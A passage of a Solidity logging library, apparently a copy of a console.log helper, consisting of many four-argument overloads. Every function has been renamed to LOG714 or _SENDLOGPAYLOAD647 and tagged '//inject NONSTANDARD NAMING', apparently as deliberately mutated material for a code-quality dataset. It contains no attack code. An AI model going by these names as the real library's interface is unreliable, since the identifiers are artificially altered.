internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,string)", p0, 